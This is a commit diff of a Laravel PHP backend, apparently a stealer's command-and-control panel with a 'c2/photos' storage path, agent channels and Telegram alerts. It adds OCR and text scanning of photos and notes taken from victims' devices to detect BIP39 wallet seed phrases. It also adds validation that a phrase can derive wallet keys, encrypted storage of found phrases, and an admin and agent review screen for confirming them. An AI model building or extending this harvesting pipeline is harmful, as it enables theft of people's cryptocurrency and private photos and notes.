feat: scan
This commit is contained in:
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Jobs\ScanDeviceNotes;
|
||||
use App\Jobs\ScanPhotoMnemonic;
|
||||
use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Services\MnemonicScanStatus;
|
||||
use App\Support\NoteContent;
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class ScanMnemonicsCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:scan-mnemonics
|
||||
{--limit=50 : Max photos to enqueue per run}';
|
||||
|
||||
protected $description = 'Enqueue pending album/note mnemonic scans (does not run Tesseract)';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
$limit = max(1, (int) $this->option('limit'));
|
||||
$photos = Photo::query()
|
||||
->whereIn('scan_status', [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED])
|
||||
->orderByRaw('CASE WHEN COALESCE(text_count, 0) > 0 OR COALESCE(x_hit, 0) > 0 THEN 0 ELSE 1 END')
|
||||
->orderByDesc('created_at')
|
||||
->orderByDesc('id')
|
||||
->limit($limit)
|
||||
->get(['id']);
|
||||
|
||||
foreach ($photos as $photo) {
|
||||
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
|
||||
}
|
||||
|
||||
$noteQueued = 0;
|
||||
$seenDevices = [];
|
||||
Note::query()->orderByDesc('id')->limit(200)->get(['id', 'device_id', 'content'])->each(function (Note $note) use (&$noteQueued, &$seenDevices) {
|
||||
if (isset($seenDevices[$note->device_id])) {
|
||||
return;
|
||||
}
|
||||
$seenDevices[$note->device_id] = true;
|
||||
$items = NoteContent::normalizeStored($note->content);
|
||||
foreach ($items as $index => $item) {
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$hash = NoteScan::itemHash($item);
|
||||
$existing = NoteScan::query()
|
||||
->where('device_id', $note->device_id)
|
||||
->where('note_id', $note->id)
|
||||
->where('item_key', $key)
|
||||
->first();
|
||||
if ($existing
|
||||
&& hash_equals((string) $existing->content_hash, $hash)
|
||||
&& ! in_array((int) $existing->scan_status, [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED], true)) {
|
||||
continue;
|
||||
}
|
||||
ScanDeviceNotes::dispatch($note->device_id);
|
||||
$noteQueued++;
|
||||
|
||||
return;
|
||||
}
|
||||
});
|
||||
|
||||
$this->info('enqueued photos='.$photos->count().' note-devices='.$noteQueued);
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -294,6 +294,8 @@ class DeviceController extends Controller
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
$device->events()->delete();
|
||||
$device->mnemonicFindings()->delete();
|
||||
$device->noteScans()->delete();
|
||||
$device->photos()->delete();
|
||||
$device->notes()->delete();
|
||||
$device->addresses()->delete();
|
||||
@@ -571,12 +573,16 @@ class DeviceController extends Controller
|
||||
'process_index' => $photo->process_index,
|
||||
'text_count' => $photo->text_count,
|
||||
'barcode_count' => $photo->barcode_count,
|
||||
'scan_status' => (int) $photo->scan_status,
|
||||
'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status),
|
||||
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
|
||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
$scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id);
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data, $scan);
|
||||
}
|
||||
|
||||
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
@@ -707,16 +713,27 @@ class DeviceController extends Controller
|
||||
$total = count($items);
|
||||
$slice = array_slice($items, ($page - 1) * $limit, $limit);
|
||||
$reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s');
|
||||
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt) {
|
||||
$scans = $note
|
||||
? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key')
|
||||
: collect();
|
||||
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) {
|
||||
$index = (($page - 1) * $limit) + $i;
|
||||
$key = \App\Models\NoteScan::itemKey($item, $index);
|
||||
$status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING);
|
||||
|
||||
return [
|
||||
'id' => (($page - 1) * $limit) + $i + 1,
|
||||
'id' => $index + 1,
|
||||
'title' => $item['title'] ?? '',
|
||||
'body' => $item['body'] ?? '',
|
||||
'scan_status' => $status,
|
||||
'scan_label' => \App\Services\MnemonicScanStatus::label($status),
|
||||
'created_at' => $reportedAt ?: '',
|
||||
];
|
||||
});
|
||||
|
||||
return $this->layuiPage($total, $data);
|
||||
$scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device);
|
||||
|
||||
return $this->layuiPage($total, $data, $scan);
|
||||
}
|
||||
|
||||
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
||||
@@ -744,14 +761,19 @@ class DeviceController extends Controller
|
||||
/**
|
||||
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
*/
|
||||
private function layuiPage(int $count, $data)
|
||||
private function layuiPage(int $count, $data, ?array $scan = null)
|
||||
{
|
||||
return response()->json([
|
||||
$payload = [
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $count,
|
||||
'data' => $data,
|
||||
]);
|
||||
];
|
||||
if ($scan !== null) {
|
||||
$payload['scan'] = $scan;
|
||||
}
|
||||
|
||||
return response()->json($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\MnemonicFinding;
|
||||
use App\Models\User;
|
||||
use App\Services\MnemonicScanService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class MnemonicFindingController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index(MnemonicScanService $scan)
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.findings.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'photoProgress' => $scan->photoProgress(),
|
||||
'noteProgress' => $scan->noteProgress(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
$status = trim((string) $request->query('status', ''));
|
||||
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
|
||||
$q->where('mnemonic_findings.status', $status);
|
||||
}
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) {
|
||||
$q->where('mnemonic_findings.source', $source);
|
||||
}
|
||||
|
||||
$q->orderByDesc('mnemonic_findings.id');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
/** @var MnemonicFinding $row */
|
||||
$photoUrl = $row->photo_id
|
||||
? route($portal.'.devices.photo', [$row->device_id, $row->photo_id])
|
||||
: '';
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录',
|
||||
'status' => $row->status,
|
||||
'status_label' => MnemonicFinding::statusLabel((string) $row->status),
|
||||
'candidate' => $row->candidate,
|
||||
'excerpt' => mb_substr((string) $row->excerpt, 0, 160),
|
||||
'word_count' => (int) $row->word_count,
|
||||
'score' => (int) $row->score,
|
||||
'photo_url' => $photoUrl,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', [
|
||||
'device' => $row->device_id,
|
||||
'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes',
|
||||
]),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
|
||||
{
|
||||
if (! $this->findingInScope($finding)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
||||
return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']);
|
||||
}
|
||||
$candidate = $request->input('candidate');
|
||||
if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) {
|
||||
return response()->json(['code' => 1, 'msg' => '不是合法助记词,无法确定入库']);
|
||||
}
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
|
||||
{
|
||||
if (! $this->findingInScope($finding)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
$scan->dismiss($finding, $this->actorLabel());
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function findingInScope(MnemonicFinding $finding): bool
|
||||
{
|
||||
$q = MnemonicFinding::query()
|
||||
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
|
||||
->where('mnemonic_findings.id', $finding->id);
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
return $q->exists();
|
||||
}
|
||||
|
||||
private function actorLabel(): string
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
$user = auth('agent')->user();
|
||||
|
||||
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = MnemonicFinding::query()
|
||||
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
|
||||
->select([
|
||||
'mnemonic_findings.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||
);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\MnemonicScanService;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class ScanDeviceNotes implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 60;
|
||||
|
||||
public function __construct(public int $deviceId) {}
|
||||
|
||||
public function handle(MnemonicScanService $scan): void
|
||||
{
|
||||
$device = Device::query()->find($this->deviceId);
|
||||
if ($device === null) {
|
||||
return;
|
||||
}
|
||||
$scan->scanDeviceNotes($device);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Photo;
|
||||
use App\Services\MnemonicScanService;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class ScanPhotoMnemonic implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 120;
|
||||
|
||||
public function __construct(public int $photoId) {}
|
||||
|
||||
public function handle(MnemonicScanService $scan): void
|
||||
{
|
||||
$photo = Photo::query()->with('device')->find($this->photoId);
|
||||
if ($photo === null) {
|
||||
return;
|
||||
}
|
||||
$scan->scanPhoto($photo);
|
||||
}
|
||||
}
|
||||
@@ -22,6 +22,13 @@ class SendTelegramMessage implements ShouldQueue
|
||||
|
||||
public function handle(TelegramNotifier $telegram): void
|
||||
{
|
||||
$telegram->sendToChat($this->chatId, $this->text, $this->token);
|
||||
$result = $telegram->sendToChat($this->chatId, $this->text, $this->token);
|
||||
if (! $result['ok']) {
|
||||
\Illuminate\Support\Facades\Log::channel('telegram')->warning('SendTelegramMessage job failed', [
|
||||
'chat_id' => $this->chatId,
|
||||
'error' => $result['error'] ?? 'unknown',
|
||||
'text_preview' => mb_substr($this->text, 0, 80),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -213,6 +213,16 @@ class Device extends Model
|
||||
return $this->hasMany(Photo::class);
|
||||
}
|
||||
|
||||
public function noteScans(): HasMany
|
||||
{
|
||||
return $this->hasMany(NoteScan::class);
|
||||
}
|
||||
|
||||
public function mnemonicFindings(): HasMany
|
||||
{
|
||||
return $this->hasMany(MnemonicFinding::class);
|
||||
}
|
||||
|
||||
public function notes(): HasMany
|
||||
{
|
||||
return $this->hasMany(Note::class);
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use App\Services\MnemonicScanStatus;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class MnemonicFinding extends Model
|
||||
{
|
||||
public const SOURCE_PHOTO = 'photo';
|
||||
|
||||
public const SOURCE_NOTE = 'note';
|
||||
|
||||
public const STATUS_SUSPECTED = 'suspected';
|
||||
|
||||
public const STATUS_CONFIRMED = 'confirmed';
|
||||
|
||||
public const STATUS_DISMISSED = 'dismissed';
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'source', 'photo_id', 'note_id', 'item_key',
|
||||
'status', 'candidate_enc', 'excerpt', 'word_count', 'score',
|
||||
'reviewed_by', 'reviewed_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'word_count' => 'integer',
|
||||
'score' => 'integer',
|
||||
'reviewed_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function photo(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Photo::class);
|
||||
}
|
||||
|
||||
public function note(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Note::class);
|
||||
}
|
||||
|
||||
public function getCandidateAttribute(): string
|
||||
{
|
||||
$enc = (string) ($this->attributes['candidate_enc'] ?? '');
|
||||
if ($enc === '') {
|
||||
return '';
|
||||
}
|
||||
try {
|
||||
return Crypt::decryptString($enc);
|
||||
} catch (\Throwable) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
public function setCandidateAttribute(string $value): void
|
||||
{
|
||||
$this->attributes['candidate_enc'] = Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function maskedCandidate(): string
|
||||
{
|
||||
return WalletMnemonic::maskSecret($this->candidate);
|
||||
}
|
||||
|
||||
public static function statusLabel(string $status): string
|
||||
{
|
||||
return match ($status) {
|
||||
self::STATUS_CONFIRMED => '确定含有',
|
||||
self::STATUS_DISMISSED => '已排除',
|
||||
default => '疑似',
|
||||
};
|
||||
}
|
||||
|
||||
public static function scanLabel(int $status): string
|
||||
{
|
||||
return MnemonicScanStatus::label($status);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class NoteScan extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'note_id', 'item_key', 'content_hash', 'scan_status', 'scanned_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'scan_status' => 'integer',
|
||||
'scanned_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function note(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Note::class);
|
||||
}
|
||||
|
||||
public static function itemKey(array $item, int $index = 0): string
|
||||
{
|
||||
$native = $item['native_id'] ?? null;
|
||||
if ($native !== null && $native !== '') {
|
||||
return 'n:'.(string) $native;
|
||||
}
|
||||
|
||||
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
|
||||
}
|
||||
|
||||
public static function itemHash(array $item): string
|
||||
{
|
||||
return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
}
|
||||
}
|
||||
@@ -10,6 +10,14 @@ class Photo extends Model
|
||||
{
|
||||
public const X_HIT_ALERT = 12;
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'scan_status' => 'integer',
|
||||
'scanned_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'sha256',
|
||||
@@ -20,6 +28,9 @@ class Photo extends Model
|
||||
'process_index',
|
||||
'text_count',
|
||||
'barcode_count',
|
||||
'scan_status',
|
||||
'scanned_at',
|
||||
'ocr_text',
|
||||
];
|
||||
|
||||
public function device(): BelongsTo
|
||||
|
||||
@@ -4,6 +4,8 @@ namespace App\Providers;
|
||||
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\TesseractOcrDriver;
|
||||
use App\Services\SettingsService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
@@ -36,6 +38,8 @@ class AppServiceProvider extends ServiceProvider
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
});
|
||||
|
||||
$this->app->bind(OcrDriver::class, TesseractOcrDriver::class);
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
|
||||
@@ -39,6 +39,58 @@ final class Bip44
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* True when the phrase is a checksum-valid BIP39 mnemonic that can
|
||||
* produce a secp256k1 key (and therefore chain addresses).
|
||||
*/
|
||||
public static function canDerive(string $mnemonic): bool
|
||||
{
|
||||
try {
|
||||
$derived = self::derive($mnemonic, "m/44'/60'/0'/0/0");
|
||||
|
||||
return strlen((string) ($derived['public_key_uncompressed'] ?? '')) >= 130;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checksum-valid is not enough for ingest: reject BIP39 test vectors and
|
||||
* low-entropy repeats (same word more than 3 times, or official test vectors).
|
||||
*/
|
||||
public static function isUsableMnemonic(string $mnemonic): bool
|
||||
{
|
||||
$words = preg_split('/\s+/', strtolower(trim($mnemonic))) ?: [];
|
||||
$n = count($words);
|
||||
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
|
||||
return false;
|
||||
}
|
||||
if (in_array(implode(' ', $words), self::TEST_VECTORS, true)) {
|
||||
return false;
|
||||
}
|
||||
$counts = array_count_values($words);
|
||||
if (count($counts) < $n - 2) {
|
||||
return false;
|
||||
}
|
||||
if (max($counts) > 3) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return self::canDerive($mnemonic);
|
||||
}
|
||||
|
||||
/** @var list<string> */
|
||||
private const TEST_VECTORS = [
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
||||
'letter advice cage absurd amount doctor acoustic avoid letter advice cage above',
|
||||
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo wrong',
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon agent',
|
||||
'legal winner thank year wave sausage worth useful legal winner thank year wave sausage worth useful legal will',
|
||||
'letter advice cage absurd amount doctor acoustic avoid letter advice cage absurd amount doctor acoustic bless',
|
||||
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo vote',
|
||||
];
|
||||
|
||||
/** @return array{0: string, 1: string} binary key + chain code */
|
||||
private static function masterFromSeed(string $seed): array
|
||||
{
|
||||
|
||||
@@ -561,11 +561,16 @@ class IngestService
|
||||
{
|
||||
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
|
||||
$n = count($words);
|
||||
if ($n === 12 || $n === 24) {
|
||||
if (in_array($n, [12, 15, 18, 21, 24], true)) {
|
||||
foreach ($words as $word) {
|
||||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||
return false;
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
@@ -955,6 +960,7 @@ class IngestService
|
||||
'content' => $items,
|
||||
'content_hash' => $hash,
|
||||
])->save();
|
||||
app(MnemonicScanService::class)->dispatchNotes($device);
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -964,6 +970,7 @@ class IngestService
|
||||
'content' => $items,
|
||||
'content_hash' => $hash,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchNotes($device);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1008,7 +1015,7 @@ class IngestService
|
||||
}
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
@@ -1019,6 +1026,7 @@ class IngestService
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchPhoto($photo);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,269 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Services\Chain\Bip44;
|
||||
|
||||
class MnemonicDetector
|
||||
{
|
||||
/** @var list<int> */
|
||||
public const LENGTHS = [12, 15, 18, 21, 24];
|
||||
|
||||
public const MIN_SUSPECTED = 8;
|
||||
|
||||
public const MIN_CONFIRMED = 12;
|
||||
|
||||
public const MIN_UNIQUE = 8;
|
||||
|
||||
/**
|
||||
* Hardware-wallet chrome that is also on the BIP39 list. Only used to
|
||||
* break ties when two sliding windows both checksum.
|
||||
*
|
||||
* @var array<string, true>
|
||||
*/
|
||||
private const UI_PREFIX = [
|
||||
'card' => true,
|
||||
'key' => true,
|
||||
'wallet' => true,
|
||||
'seed' => true,
|
||||
'word' => true,
|
||||
'phrase' => true,
|
||||
'recovery' => true,
|
||||
'secret' => true,
|
||||
'hardware' => true,
|
||||
'device' => true,
|
||||
'account' => true,
|
||||
];
|
||||
|
||||
/** @var array<string, true>|null */
|
||||
private static ?array $english = null;
|
||||
|
||||
/**
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
public function detect(string $text, bool $strictGaps = false): ?array
|
||||
{
|
||||
$text = trim($text);
|
||||
if ($text === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$tokens = $strictGaps ? $this->noteTokens($text) : $this->englishTokens($text);
|
||||
$wordlist = $this->englishSet();
|
||||
$real = array_values(array_filter($tokens, fn ($word) => $word !== ''));
|
||||
if (count($real) < self::MIN_SUSPECTED) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$perfect = $this->perfectPhrase($tokens, $wordlist);
|
||||
if ($perfect !== null) {
|
||||
return $perfect;
|
||||
}
|
||||
if ($strictGaps) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$partial = $this->suspectedWindow($tokens, $wordlist);
|
||||
|
||||
return $partial !== null && $this->uniqueListWords($partial['candidate']) >= self::MIN_UNIQUE
|
||||
? $partial
|
||||
: null;
|
||||
}
|
||||
|
||||
public function uniqueListWords(string $candidate): int
|
||||
{
|
||||
$wordlist = $this->englishSet();
|
||||
$uniq = [];
|
||||
foreach (preg_split('/\s+/', strtolower(trim($candidate))) ?: [] as $word) {
|
||||
if (isset($wordlist[$word])) {
|
||||
$uniq[$word] = true;
|
||||
}
|
||||
}
|
||||
|
||||
return count($uniq);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $tokens
|
||||
* @param array<string, true> $wordlist
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
private function perfectPhrase(array $tokens, array $wordlist): ?array
|
||||
{
|
||||
$run = [];
|
||||
$best = null;
|
||||
$n = count($tokens);
|
||||
for ($i = 0; $i <= $n; $i++) {
|
||||
$word = $tokens[$i] ?? null;
|
||||
if ($word !== null && $word !== '' && isset($wordlist[$word])) {
|
||||
$run[] = $word;
|
||||
|
||||
continue;
|
||||
}
|
||||
$hit = $this->confirmedFromRun($run);
|
||||
if ($hit !== null && ($best === null || $hit['word_count'] > $best['word_count'])) {
|
||||
$best = $hit;
|
||||
}
|
||||
$run = [];
|
||||
}
|
||||
|
||||
return $best;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $run
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
private function confirmedFromRun(array $run): ?array
|
||||
{
|
||||
$n = count($run);
|
||||
$fallback = null;
|
||||
foreach (array_reverse(self::LENGTHS) as $len) {
|
||||
if ($n < $len) {
|
||||
continue;
|
||||
}
|
||||
$usable = [];
|
||||
for ($offset = 0; $offset <= $n - $len; $offset++) {
|
||||
$hit = $this->hitFromWords(array_slice($run, $offset, $len), true);
|
||||
$fallback ??= $hit;
|
||||
if (Bip44::isUsableMnemonic($hit['candidate'])) {
|
||||
$usable[] = $hit;
|
||||
}
|
||||
}
|
||||
if ($usable !== []) {
|
||||
return $this->preferNonUiPrefix($usable);
|
||||
}
|
||||
}
|
||||
|
||||
return $fallback;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $words
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
|
||||
*/
|
||||
private function hitFromWords(array $words, bool $confirmed): array
|
||||
{
|
||||
$len = count($words);
|
||||
|
||||
return [
|
||||
'candidate' => implode(' ', $words),
|
||||
'word_count' => $len,
|
||||
'score' => $len * 10,
|
||||
'language' => 'en',
|
||||
'confirmed' => $confirmed,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param non-empty-list<array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}> $hits
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
|
||||
*/
|
||||
private function preferNonUiPrefix(array $hits): array
|
||||
{
|
||||
foreach ($hits as $hit) {
|
||||
$first = explode(' ', $hit['candidate'])[0] ?? '';
|
||||
if (! isset(self::UI_PREFIX[$first])) {
|
||||
return $hit;
|
||||
}
|
||||
}
|
||||
|
||||
return $hits[0];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $tokens
|
||||
* @param array<string, true> $wordlist
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
private function suspectedWindow(array $tokens, array $wordlist): ?array
|
||||
{
|
||||
$n = count($tokens);
|
||||
$best = null;
|
||||
$maxLen = min(24, $n);
|
||||
for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
|
||||
for ($i = 0; $i <= $n - $len; $i++) {
|
||||
$window = array_slice($tokens, $i, $len);
|
||||
$hits = 0;
|
||||
foreach ($window as $word) {
|
||||
if ($word !== '' && isset($wordlist[$word])) {
|
||||
$hits++;
|
||||
}
|
||||
}
|
||||
if ($hits < self::MIN_SUSPECTED) {
|
||||
continue;
|
||||
}
|
||||
